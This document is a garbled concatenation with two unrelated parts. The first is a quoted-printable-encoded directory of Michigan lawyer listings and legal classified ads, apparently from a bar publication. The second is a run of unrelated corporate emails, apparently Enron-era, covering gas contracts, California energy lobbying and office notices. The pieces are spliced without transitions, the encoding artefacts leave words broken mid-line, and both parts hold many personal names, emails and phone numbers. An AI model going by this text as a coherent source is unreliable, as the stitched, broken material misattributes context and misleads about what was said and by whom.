888.865.9955, fax: 248.865.9956, e-mail:  krmarcus@aol.com. Visit =20
www.lawyers.com/kenmarcus.
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Hospital  & Medical Negligence
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09THE  LAW OFFICES OF JOHN S. HONE, P.C., representing victims  of hosp=
ital and=20
medical negligence resulting in serious injury,  permanent cognitive and=20
physical disability and wrongful death.  Millions won, available for=20
consultation and referral, cases accepted  statewide. Phone Hone: (248)=20
888-7585; Toll Free: 888-HMO-1010;  Fax: (248) 473-8895; E-mail to=20
mmhmolawsuit@aol.com
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Immigration  and Naturalization
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09NAHIL PETER ANTONE, N. Peter Antone, PC, 16445 West Twelve  Mile Road=
, Suite=20
100, Southfield, MI 48076, Phone: (248) 559-0707,  FAX: (248) 559-0790,=20
e-mail: Peter@Antone.com.  Visit http://Antone.com. =20
=09=09
=09=09
=09=09ROGER R. RATHI, Attorney at Law, 29777 Telegraph Road, Suite  2500,=
=20
Southfield, MI 48034, Phone: (248) 539-8421, FAX: (248) 353-2786,  e-mail:=
=20
rrathi@yahoo.com. =20
=09=09
=09=09
=09=09STEVEN N. GARMO, Law Offices of Garmo & Garmo, 28230 Orchard  Lake Ro=
ad,=20
Suite 201, Farmington Hills, MI 48334, Phone: (248) 626-0050,  FAX: (248)=
=20
626-0051, e-mail: steve@garmo.com.  Visit: www.garmo.com. =20
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Immigration  Law
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09MARSHAL  E. HYMAN & ASSOCIATES. All  aspects of immigration law inclu=
ding=20
employment-based immigration  for professionals and skilled workers. Labor=
=20
certifications. Family-based  immigration. Immigration from Canada. Politic=
al=20
asylum, all waivers  and appeals. Corporate transfers for multinational=20
employees. Representation  in Immigration courts and Federal courts since=
=20
1981. 3250 West Big  Beaver, Suite 529, Troy, MI 48084. (248) 643-0642, Fax=
:=20
(248) 643-0798.  E-mail: marshalhyman@msu.com
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Insurance  Law
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09STUART A. SKLAR, Fabian, Sklar & Davis, PC, 31800 Northwestern  Hwy, =
Suite=20
205, Farmington Hills, MI 48334, Phone: (248) 855-2110,  FAX: (248) 855-020=
9.=20
Additional office located in West Michigan  (616) 451-9900, e-mail:=20
ssklar-firelaw@tir.com. =20
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Intellectual  Property Law
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09GIFFORD, KRASS, GROH, SPRINKLE, ANDERSON & CITKOWSKI, P.C.,  280 Nort=
h Old=20
Woodward, Suite 400, Birmingham, MI 48009-5392, Phone:  (248) 647-6000, FAX=
:=20
(248) 647-5210, e-mail: info@patlaw.com. =20
=09=09
=09=09
=09=09RADER, FISHMAN & GRAUER, PLLC, Bloomfield Hills (248) 594-0600;  Gran=
d Rapids=20
(616) 742-3500; Washington, DC (202) 955-3750; Englewood,  CO (303) 991-120=
0.=20
Visit www.intelprop.com. =20
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Labor  & Employment
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09THE LAW  OFFICE of  Gregory T. Gibbs  is an AV rated firm with years =
of=20
experience in employment law advice  and litigation. We can answer question=
s=20
about: handbooks, sexual  harassment, wrongful discharge, discrimination,=
=20
family medical leave,  collective bargaining, wage-hour issues or any other=
=20
employment  related matter under state or federal law. We work with you and=
 =20
your clients under referral fee arrangements. 328 S. Saginaw St.,  Ste. 900=
1,=20
Flint, MI 48502. (810) 239-9470, fax (810) 235-2468,  e-mail:=20
bakerlak@tir.com
=09=09
=09=09
=09=09DAVID D. KOHL, 39500 Orchard Hill Place, Suite 110, Novi, MI  48375, =
Phone:=20
(248) 347-6666, FAX: (248) 348-8707, e-mail: daviddkohl@juno.com. =20
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Litigation
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09FINK, ZAUSMER & KAUFMAN, PC, 31700 Middlebelt Rd #150, Farmington  Hi=
lls, MI=20
48334, Phone: (248) 851-4111, FAX: (248) 851-0100. Additional  offices=20
located in Detroit (313) 963-3873, and Lansing (517) 374-2735.  Visit=20
http://www.lawsite.com =20
=09=09
=09=09
=09=09STEPHEN K. VALENTINE, JR, Valentine & Associates, 5767 West  Maple Ro=
ad.=20
Suite 400, West Bloomfield, MI 48322, Phone: (248) 851-3010,  FAX: (248)=20
851-1553. =20
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Medical  Malpractice
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09WANT A SECOND  OPINION ON A MEDICAL MALPRACTICE CASE? The  law office=
s of=20
Anthony M. Malizia, P.C., is a statewide firm that  handles only medical=20
malpractice cases. I am Martindale-Hubbell  "AV-rated." I sit as a=20
plaintiff's medical malpractice  mediator. I have 20 years experience in th=
e=20
review and development  of these cases, many trials to jury verdict, and ma=
ny=20
more settlements.  Over the years, upwards of 20% of my case inventory has=
=20
consisted  of meritorious cases initially rejected by others, including=20
"name  firms." Oftentimes these cases were subjected to incomplete  analysi=
s=20
because of the firm's lack of in-depth, medico-legal background.  Sometimes=
=20
medical sleuthing or a new perspective was required. Send  me your rejected=
=20
case for a "de novo" review. We also  welcome the referral of "new" cases.=
=20
Anthony M. Malizia,  P.C., 37000 Grand River, Suite 340, Farmington Hills, =
MI=20
48335,  1-800-555-5107 or e-mail: amlmalizia@aol.com
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Real  Estate
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09BRAD B. ALDRICH, Law Offices of Brad B. Aldrich, PLLC, 645  Griswold,=
 Suite=20
3261, Detroit, MI 48226, Phone: (313) 965-9490,  FAX: (313) 965-9478, e-mai=
l=20
belmontald@aol.com.
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Special  Education Law
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09LAW OFFICES  OF MARSHA LYNN TUCK with  20 years experience,=20
Martindale-Hubbell =0F"AV-rated,=0F" representing  students with and withou=
t=20
disabilities in suspension, expulsion,  integration, inclusion, and similar=
=20
cases. Marsha Lynn Tuck, 30700  Telegraph Road, Suite 4646, Bingham Farms, =
MI=20
48025. (248) 585-9338.
=09=09
=09=09Back  to Quicklinks  =20
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Tax  Litigation & Disputes
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09JOSEPH FALCONE  is  available to assist attorneys with Federal and St=
ate=20
Civil and Criminal  Tax Litigation and Dispute matters. Joseph Falcone, a=
=20
former IRS  Detroit District Counsel Trial Attorney, has handled thousands=
=20
of  tax matters and has 27 years experience working in the specialized  are=
a=20
of Tax Litigation and Disputes. If you require assistance with  a major tax=
=20
dispute, wish to refer a matter, or just need a few  minutes consultation=
=20
over the phone with your specific problem or  question, telephone or e-mail=
=20
us jf@lawyer.com.  Visit our website at www.lawyers.com/falconerolfe. =20
Falcone & Rolfe, P.C., 3000 Town Center, Suite 2370, Southfield,  MI 48075.=
=20
(248) 357 6610. Fax (248) 357-6613.
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Transportation  Law
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09PAUL M. ROSS, P.C., 2840 East Grand River Avenue, Suite  1, East Lans=
ing, MI=20
48823-4911, Phone: (517) 337-7677, FAX: (517)  332-9361, e-mail:=20
pross1412@aol.com. =20
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Worker's  Compensation
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09JOHN M. H ULRICH, IV, Crawforth Mcmanus Tenbrunsel & Ulrich,  999 Hay=
nes=20
Street, Suite 245, Birmingham, MI 48009-6702, Toll-free:  (800) 424-4878,=
=20
Phone: (248) 540-1270, FAX: (248) 540-3925.=20
=09=09
=09=09
=09=09To receive information  on how to place a Fields of Practice listing,=
 contact=20
Stacy  Sage or see Advertising  Opportunities on our website. =20
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
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=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09classified  advertising
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Confidential  Records Destruction
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09SHRED-IT.  Confidentiality, Privacy and Document Security are vital i=
n=20
today's  environment. SHRED-IT provides solutions for secure destruction  o=
f=20
confidential, sensitive and proprietary information, utilizing  a unique,=
=20
mobile, ON-SITE document destruction system. Call 1-800-69-SHRED  or=20
1-800-697-4733. E-mail  Eastern Michigan; e-mail  Out state Michigan or vis=
it=20
 our website
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Expert  Witness=0F-Building
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09EXPERT WITNESS  services  for construction issues. Our cases include =
issues=20
of faulty construction,  failure to disclose, personal injury and ADA. Mr.=
=20
Tyson is a member  of many model code organizations including BOCA, ICBO,=
=20
NFPA and  ASTM. Our attorney clients represent plaintiffs and defendants. =
=20
Rendering independent and unbiased opinions. Ortonville, MI. Phone  (248)=
=20
627-6859.
=09=09
=09=09
=09=09RESIDENTIAL  CONSTRUCTION--ABR  Construction Company, Inc. offering e=
xpertise=20
in all phases of residential  construction related to workmanship, cost,=20
time, structural analysis,  civil analysis, and other related problems.=20
Contact Jack W. Belkin  member BOCA, ASHI, Bldg. Spec. Inc. licensed builde=
r=20
and real estate  broker. (248) 443-4063, cell (248) 867-5042 and fax (248)=
=20
443-4065,  e-mail jwbelkin@mich.com   =20
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Expert  Witness=0F-Economics Consulting
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09ECONOMIC LOSS CALCULATION and litigation support in personal  injury,=
=20
wrongful death and wrongful discharge cases. Over 25 years  experience=20
including Chief Economist for the Michigan Department  of Commerce. John F.=
=20
Hanieski, Ph.D., Economics Consulting Services,  LLC, 8583 W. Eaton Hwy.,=
=20
Grand Ledge, MI 48837. (517) 627-6968.  E-mail: hanieski.john@acd.net =20
website: http://userdata.acd.net/hanieski.john
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Expert  Witness=0F-Forensic & Environmental Geologist
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09FORENSIC  and ENVIRONMENTAL GEOLOGIST=01*Certified Professional Geolo=
gist;  29=20
years investigating soil and water issues for government and  private=20
sectors; deposition and trial experience applicable to cases  involving=20
insurance claims, construction accidents, environmental  contamination,=20
wetlands, property transactions, malpractice, murder,  rape, etc. For more=
=20
information, contact Robert A. Hayes, (517)  655-8348, or=20
www.geoforensics.com
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Expert  Witness=0F-Legal Malpractice
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09LEGAL MALPRACTICE=0F-EXPERT  EVALUATION, pre-  and post-litigation an=
alysis,=20
written opinions, deposition and trial  testimony in plaintiff originated o=
r=20
defendant defended legal malpractice  cases that involve Real Estate and=20
Commercial Transactions and Civil  Litigation. 18 years' experience as lega=
l=20
malpractice expert. Asher  N. Tilchin, Tilchin, Hall & Reynolds P.C., 31731=
=20
Northwestern  Hwy., Suite 106, Farmington Hills, MI 48334. (248) 855-0995,=
=20
fax  (248) 855-0850. E-mail antilchin@aol.com
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Lawsuit  Financials
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09DO MONEY  PROBLEMS caused  by disability force some of your clients t=
o settle=20
strong, valuable  cases for pennies on the dollar? A Lawsuit Financial,=20
L.L.C. contingent  advance allows you time to obtain the maximum dollar=20
possible for  your client's case. Lawsuit Financial, L.L.C., 29777 Telegrap=
h=20
Road,  Suite 1310, Southfield, MI 48034. Call (248) 948-1800 or (877)=20
377-SUIT.
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Legal  Research
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09OPEN online  offers instant and cost effective access to public recor=
ds.=20
Select  from many sources of criminal data, verify social security numbers,=
 =20
confirm driving records, find addresses, UCC and incorporation filings,  re=
al=20
property records, bankruptcies, liens and judgments. For information  call=
=20
800-935-OPEN (6736), email info@openonline.com,  or visit www.openonline.co=
m
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Office  Space Available
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09SOUTHFIELD  LAW OFFICE FOR RENT=0F-Reception, conference, kitchen, ph=
otocopier, =20
fax, file room; secretary to share. Central location near all major =20
expressways for quick access for clientele and courts in the tri-county =20
area. Attractive and professional. Call Sandra Maison at (248) 355-9400.  =
=20
Ddelong@thompsonmorello.com
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Positions  Available
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09DAWDA, MANN, MULCAHY & SADLER a full-service Bloomfield  Hills firm, =
with 25=20
attorneys and a national client base, is seeking  a real estate/corporate=
=20
transactional attorney. Qualified candidates  must have 3-5 years experienc=
e=20
with strong academic credentials.  Send resume and references to Director o=
f=20
Administration, 39533  Woodward Avenue, Suite 200, Bloomfield Hills, MI=20
48304.=20
=09=09
=09=09
=09=09 DAWDA, MANN, MULCAHY & SADLER a full-service Bloomfield Hills  firm,=
 with 25=20
attorneys and a national client base, is seeking a real  estate/corporate=
=20
transactional paralegal. Qualified candidates must  have 3-5 years experien=
ce=20
with strong academic credentials. Send resume  and references to Director o=
f=20
Administration, 39533 Woodward Avenue,  Suite 200, Bloomfield Hills, MI=20
48304. =20
=09=09
=09=09
=09=09ESTABLISHED  MID-SIZED AV Rated Bloomfield Hills litigation firm=20
representing  businesses and insurance companies, seeks attorney with 0-3=
=20
years  experience. Litigation experience helpful. Please direct resumes to =
=20
Linda Pillsworth via e-mail: lpillsworth@kallashenk.com or, Facsimile:  (24=
8)=20
335-9889, or via regular mail: 43902 Woodward Avenue, Suite  200, Bloomfiel=
d=20
Hills, MI 48302. NO TELEPHONE CALLS PLEASE. =20
=09=09
=09=09
=09=09EXECUTIVE DIRECTOR=0F-The  Grand Rapids Bar Association is soliciting=
=20
applications for the position  of Executive Director. The GRBA is a volunta=
ry=20
local bar with 1,500  members, a full-time staff of 7, one-half-time positi=
on=20
and 8 part-time  volunteers. The Executive Director is the chief operating=
=20
officer.  The GRBA includes a Lawyer Referral Service, which will become th=
e =20
centerpiece for a new Legal Assistance Center in September 2001. The  GRBA=
=20
has a combined operating budget of $850,000. The Executive Director  also=
=20
oversees, with a committee and the board, the Grand Rapids Bar  Foundation=
=20
with assets of $1 million. The Executive Director is responsible  to a=20
seventeen member Board in accord with policies and procedures  adopted by t=
he=20
Board. The successful candidate will be a seasoned  executive with a=20
demonstrated record of achieving positive results,  including experience in=
=20
the area of fund development. The Executive  Director will exhibit a high=
=20
level of integrity with superior management,  organizational, budgeting,=20
personnel, and interpersonal communication  skills. The GRBA offers a=20
competitive salary and benefits package.  Applicants are encouraged to subm=
it=20
a letter of interest, current  resume, references, and salary requirements =
to=20
Executive Director  Search Committee, c/o Sherrie Parmelee, Smith, Haughey,=
=20
Rice &  Roegge, Calder Plaza Bldg., 250 Monroe NW, Grand Rapids, MI 49503, =
=20
(616) 458-2385, sparmlee@shrr.com  The Grand Rapids Bar Association is an=
=20
Equal Opportunity Employer.   =20
=09=09
=09=09
=09=09IMMEDIATE OPENING--Lague,  Newman & Irish is seeking an associate wit=
h 1 - 2=20
years experience.  Candidates must have strong academic credentials and=20
excellent writing  abilities. Send cover letter, resume, and transcripts to=
=20
Eric Gielow,  Lague, Newman & Irish, P.O. Box 389, Muskegon, MI 49443 (or=
=20
ergielow@lnilaw.com).   =20
=09=09
=09=09
=09=09PART-TIME  LAWYER FOR HARLEY-DAVIDSON MICHIGAN, INC.=01*Lawyer needed=
 (15  - 20=20
hrs/wk) at busy domestic and international Fortune 500 corporate  trademark=
=20
law practice in Ann Arbor, Michigan. Strong analytical and  writing skills=
=20
and excellent attention to detail are required. This  is a year-round=20
position. Please do not apply unless you have an interest  in practicing=20
trademark law. No telephone calls, please. Send your  resume to: Ann Jackso=
n,=20
Harley-Davidson Michigan, Inc., 315 W. Huron  Street, Suite 400, Ann Arbor,=
=20
Michigan 48103. =20
=09=09
=09=09Back to Quicklinks
=09=09
=09=09SENIOR COUNSEL=01*Responsibilities  of this person are to provide adv=
ice to=20
various departments. Draft,  review and negotiate agreements, debt=20
instruments, and guaranties  for domestic and international business units.=
=20
Review all advertising  for compliance with FTC regulations, trademark usag=
e=20
and adherence  to corporate policies. Defend employment related legal actio=
ns=20
and  review and advise on hiring practices and procedures. Minimum=20
qualifications  are seven years experience from a law firm and/or a major=
=20
corporation  with relevant practice experience. Plus strong background with=
=20
employment  law. J.D. from a accredited law school, admitted to practice la=
w=20
in  Michigan or other U.S. jurisdiction. Please send resume to=20
Ashleys@dominos.com  or fax to 734-930-4350. Salary is 110K.Legal Departmen=
t,=20
Domino's  Pizza, 30 Frank Lloyd Wright Drive, Ann Arbor, MI 48106.  =20
=09=09
=09=09
=09=09UNIVERSITY  OF MICHIGAN=0F-The  Office of the Vice President and Gene=
ral Counsel=20
of the University  of Michigan is seeking exceptionally qualified applicant=
s=20
for an attorney  who will take primary responsibility for coordinating the=
=20
University's  litigation in the medical malpractice area. The successful=20
candidate  will engage and supervise outside counsel in medical malpractice=
=20
and  will provide advice and representation in other areas of health care =
=20
law. This position will work closely with the senior leadership of  the=20
University Health System, including the Chief of Staff for Clinical  Affair=
s=20
and the Director of the Medical Center Risk Management Office,  other=20
attorneys in the Office of the Vice President and General Counsel,  and wit=
h=20
individual members of the medical staff. The successful candidate  will dra=
ft=20
and review policies; serve on University committees; conduct  educational=
=20
programs on legal topics for the University community,  and carry out other=
=20
duties as assigned. Experience providing legal  services for a university=
=20
affiliated, or similar, health care system  is desired. A law degree from a=
n=20
NALS accredited law school, membership  or eligibility for membership in th=
e=20
State Bar of Michigan, at least  five years litigation experience with an=
=20
emphasis on medical malpractice,  reasonable experience in health care law=
=20
are required. Applications  will be accepted until the position is filled,=
=20
but applications should  be submitted promptly to ensure full consideration=
.=20
To apply, please  send a cover letter and resume to: Office of the Vice=20
President and  General Counsel, Attention: MED MAL, 4010 Fleming=20
Administration Building,  Ann Arbor, Michigan 48109-1340. The University of=
=20
Michigan is an equal  opportunity, affirmative action employer.  =20
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Services
=09=09
=09=09
=09=09
=09=09
=09=09
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FYI
---------------------- Forwarded by Ernie Simien/CES/ColumbiaGas on 05/10/2001
07:13 AM ---------------------------

Paul Page
05/09/2001 03:26 PM

To: Ernie Simien/CES/ColumbiaGas@ColumbiaGas
cc:
Subject: Re: CES

Follow-up, you can use this note as authority to tell the Enron party it is
acceptable to cancel all CES transport contracts that they did not transfer.
Or any thaty they did transfer as CES is concerned.  Thanks

Sue Mara
----- Forwarded by Susan J Mara/NA/Enron on 05/15/2001 02:57 PM -----

	"Chris Micheli" <cmicheli@carpentersnodgrass.com>
	05/15/2001 07:08 AM
		 
		 To: "Susan McCabe" <smccabe@mccabeandcompany.net>, "Sue Mara" 
<smara@enron.com>, "Steven Kelley" <steven@iepa.com>, "Steve Ponder" 
<steve_ponder@fpl.com>, "Stephanie Newell" 
<stephanie-newell@reliantenergy.com>, "Scott Sadler" 
<sadlersa@earthlink.net>, "Scott Govenar" <sgovenar@govadv.com>, "Sandi 
McCubbin" <smccubbi@enron.com>, "Ron Tom" <rtom@govadv.com>, "Roger Pelote" 
<roger.pelote@williams.com>, "Robert Ross" <robbiz@cwo.com>, "Rina Venturini" 
<rventurini@teamgsi.net>, "Richard Hyde" <rwhyde@duke-energy.com>, "Rachel 
King" <rachel.king@elpaso.com>, "Phil Isenberg" <isenberg@hmot.com>, "Mike 
Monagan" <mrmonagan@aol.com>, "Maureen O'Haren" <oharen@hmot.com>, "Marie 
Moretti" <mmoretti@mccabeandcompany.net>, "Lynn Lednicky" <lale@dynegy.com>, 
"Kent Palmerton" <kent.palmerton@williams.com>, "Katie Kaplan" 
<kaplan@iepa.com>, "Kassandra Gough" <kgough@calpine.com>, "Julee Ball" 
<jmball@ns.net>, "John Stout" <john_h_stout@reliantenergy.com>, "John Larrea" 
<john.g.larrea@williams.com>, "Joe Ronan" <joer@calpine.com>, "Jeff Dasovich" 
<jeff.dasovich@enron.com>, "Jean Munoz" <jmunoz@mcnallytemple.com>, "Jan 
Smutny Jones" <smutny@iepa.com>, "Jack Pigott" <jackp@calpine.com>, "Hedy 
Govenar" <hgovenar@govadv.com>, "Greg Blue" <gtbl@dynegy.com>, "Delaney 
Hunter" <dhunter@s-k-w.com>, "Chuck Cole" <ccole@advocation-inc.com>, "Bev 
Hansen" <bhansen@lhom.com>, "Anne Kelly" <kelly@hnks.com>, "Andy Brown" 
<abb@eslawfirm.com>, "John Norwood" <janorwood@norped.com>, "Pete Conaty" 
<pcaceo@pacbell.net>, "Matt Kilroy" <matt.kilroy@pge-corp.com>, "Cary Rudman" 
<cjrudman@softcom.net>, "Carolyn McIntyre" <cmcintyre@sempra.com>, "Barbara 
LeVake" <blevake@syix.com>, "Paula Soos" <psoos@covantaenergy.com>, "Pat 
Pape" <ppape@calpine.com>, "Mohammed Alrai" <mohammeda@calpine.com>, "Kent 
Robertson" <kentr@calpine.com>, "Katherine Potter" <katherip@calpine.com>, 
"Juan Rodriguez" <juanr@calpine.com>, "Eileen Koch" <eileenk@calpine.com>, 
"Bill Highlander" <highlander@calpine.com>, "Aymee Ramos" <aymeer@calpine.com>
		 cc: 
		 Subject: Edison Deal Sets High Legislative Hurdle for Davis

?

?http://www.latimes.com/news/state/20010515/t000040864.html
 - Edison Deal Sets High Legislative Hurdle for Davis.url

Greg:
Good talking to you.  Congratulations on your new role.  Sounds exciting (in addition to exhausting).

Based on our call, I contacted Perfect Commerce.  The two folks from their shop that will be in Houston are:

Ian Sullivan
SVP, Professional Services and all implementation of the product

Cameron Sellers
VP, Business Development

They'd like to meet sometime during the week of October 15th. Let me know if that works for you and Brad.  Or if you'd like to contact them directly, just let me know and I'll get you their numbers/emails.

I ran across Perfect when I was doing an MBA project--we were required to find a company that we could consult to on e-commerce strategy.

I've since found out that Perfect's doing a pilot with EES--acting as the e-procurment platform for products tied to EES' outsourcing deals.  From what I hear it's going well, and EES is enthusiastic.

The technology is very interesting:  soup to nuts e-procurement platform developed by Paul Milgrom (global auction guru and economist at Stanford).  Glad you guys can meet with them.  I think it's definitely worth the time--the technology may fit very well with Networks.

Best,
Jeff

Please take time between now and year's end to check the Vacation hours 
balance you have in the SAP system.   If there is a discrepancy, please ask 
HR to correct, and keep me advised should you need time sheet copies.

Carolyn usually has to approve reports at year end (or Jan-2001) for Vacation 
carry-over, so it helps if we are sure of our hours prior to her receiving 

Sandy

fyi
---------------------- Forwarded by Steven J Kean/NA/Enron on 04/03/2001 
05:26 PM ---------------------------

Karen Denne
04/03/2001 09:12 AM
To: Janel Guerrero/Corp/Enron@Enron, James D Steffes/NA/Enron@Enron, Richard 
Shapiro/NA/Enron@Enron, Steven J Kean/NA/Enron@Enron, Paul 
Kaufman/PDX/ECT@ECT, Jeff Dasovich/NA/Enron@Enron, Susan J 
Mara/NA/Enron@ENRON, Sandra McCubbin/NA/Enron@Enron, bhansen@lhom.com, 
hgovenar@govadv.com, sgovenar@govadv.com, Ksmith@kdscommunications.com, Harry 
Kingerski/NA/Enron@Enron
cc:  

Subject: Another List

Attached is the list compiled by Marathon of "influentials" in each of our 
priority legislative districts (this week, we're only focusing on Burton, 
Bowen, Hertzberg, Keeley and Cox).  Please review the list and let me know 
ASAP if you know anyone on the list and would be willing to make calls.  
Thanks. kd

 - List of targeted legislators April 2 2001.xls

Please page on the 403 213 0912 number which is a 24 hour pager for Alliance
Gas control
do not use pager number 403 515 4027.

Thank you

From: Williams, Kelvin H
Sent: Saturday, January 20, 2001 10:55 AM
To: 'Grant.Oh@enron.com'; Patrice.L.Mims@enron.com; Liz.Prior@enron.com;
gerry_kurtz@keyspancanada.com; jim_pearson@keyspancanada.com;
bruce_kohrs@keyspancanada.com; Williams, Kelvin H
Cc: Barry.Tycholiz@enron.com; Dan.J.Hyvl@enron.com; Bartnes, Elisabeth
A; Robichaud-McIntyre, Carmen M
Subject: RE: Crestar - alliance AOS deal - operational guidelines

Thanks Grant,
I will get you an accounting contact on Monday, meanwhile the contacts are;
Gas Control (business hours); 403 233 5671
 24 hour pager  403 515 4027
 fax    403 233 5777
Elizabeth Bartnes   403 233 5672 Pager 403 213 0912
email bartneea@bp.com

The 9 am notice of AOS flowing should go to:
Carmen Robichaud   403 233 5617 Cell 403 519 3189
email robichem@bp.com

Please also note that we agreed that the 9.45 notice of markets and contract
numbers would be emailed and confirmed by phone.

Thanks Kelvin
From: Grant.Oh@enron.com [mailto:Grant.Oh@enron.com]
Sent: Saturday, January 20, 2001 9:30 AM
To: Patrice.L.Mims@enron.com; Liz.Prior@enron.com;
bruce_kohrs@keyspancanada.com; williakh@bp.com
Cc: Barry.Tycholiz@enron.com; Dan.J.Hyvl@enron.com
Subject: Crestar - alliance AOS deal - operational guidelines

We have attempted to operationalize the Alliance - AOS contract between
Enron North America and Crestar (now Keyspan) as follows:

8:00 am - Alliance announce the % of AOS that will flow the next gas day
(weekend)

9:00 am - Crestar (Keyspan) determines economic viability and informs Enron
, by phone, of AOS volumes to Enron's central cash desk

(Patrice Thurston)
          *** The deal will be 'done' at this time as per the AOS contract.

          (Note --  Crestar is in the process of assigning a portion the
AOS contract to BP.  After this assignment has been approved by Enron,
               BP and Crestar will notify Enron of daily AOS volumes)

9:45 am - Enron informs Crestar (Keyspan)   { and BP after contract
assignment}  the contract numbers, volumes, pipelines, and other required
     nominations information
     - Crestar (Keyspan) {and BP after contract assignment}  will nominate
on Alliance to ENA

10:30  - Nominations deadline (1st cycle)

12:00 - Pipelines will (should) confirm all nominations

(all times are MST)

If you have any questions please contact me ASAP.

Contact list - this is an incomplete this so please e-mail me the updated
info and I will compile and distribute the  complete list

Enron North America - Patrice Thurston 713-83-5772   /  Mark
Enron  Canada Corp. - Grant Oh     403-974-6778  ,,  Liz Prior 403-974-6725

Crestar / Keyspan - Bruce Kohrs 403-205-7684 ,   Jim Pearson,    Gerry
Kurtz

BP - Elizabeth Bartnes
BP - Kelvin Williams 403-233-5738

Kelvin please e-mail Patrice and myself an accounting contact name and
number so that we can our accounting people ready.

Thanks,

Grant

The captioned Texas corporation is being considered for dissolution.  Please let me know by Wednesday, November 28, 2001, if there is any reason not to terminate.  If I receive no responses, we will proceed with dissolution. 

Fax: (713) 646-8007

Lorraine:  here's Keith's brief response to your question about increasing 
capacity without changing the service factor or making other mods to the 
Gallup compressor.  Let me know where we need to go from here.  
***
Susan, my understanding is that the capacity west to the California border is 
a certificated amount (1090 MMcf/d).  If in any way we try to change the 
certificated amount of capacity (firm capacity), we will need to file.  TW is 
different than NNG, in that TW certificates capacity rather than facilities.  
Arnold's idea of using a pressure commitment would still require a filing.  
Please let me know, if we need to discuss further.

Keith

Sorry that I forgot you guys!

---------------------- Forwarded by Dana Davis/HOU/ECT on 07/14/2000 03:19 PM 
   
	From:  Dana Davis                           07/14/2000 03:18 PM
	
To: Laynie East/HOU/ECT@ECT, Lisa King/HOU/ECT@ECT, Lisa 
Best/Corp/Enron@Enron, Rufino Doroteo/HOU/ECT@ECT, Kortney Brown/HOU/ECT@ECT, 
Adarsh Vakharia/HOU/ECT@ECT, Kevin Jolly/HOU/ECT@ECT, Angeles 
Beltri/HOU/ECT@ECT, Stacy Hardy/Corp/Enron@ENRON, Rosalyn 
Lum/Corp/Enron@Enron, Cindy Stokes/HOU/ECT@ECT, Brian 
Schwertner/NA/Enron@Enron, Brad Carey/NA/Enron@Enron
cc: Hope Vargas/HOU/ECT@ECT 
Subject: Leaving Early

FYI:  
If it's ok with everyone's needs, I would like to leave @4pm. If you think 
you will need my assistance past the 4 o'clock hour just let me know;  I'll 
be more than willing to stay.

John Lavorato has asked me to pull together a meeting for 2:00 p.m. today, January 30.  The meeting will take place in Conf RM 06736.  Sorry guys, I don't have a subject.  Please advise me only if you are unable to attend.  I suggest blocking off at least an hour for this meeting.

Executive Assistant to
Greg Whalley, President & COO
liz.taylor@enron.com

Two different sources have heard that Governor Davis is preparing to
order the CPUC to implement the provision in ABX 1 that would suspend
the authority of parties to enter into direct access contracts.
According to these sources, the intent of the Administration is to place
all direct access advocates in the position of having to justify why
each and every party should be the exception to the suspension rather
than have a general rule concerning how direct access should work for
all parties.

Stock market is exploding. Dow 11133 (up 260). Nasdaq 2150 (up 60). It has to be higher than where you bought now?

Chris

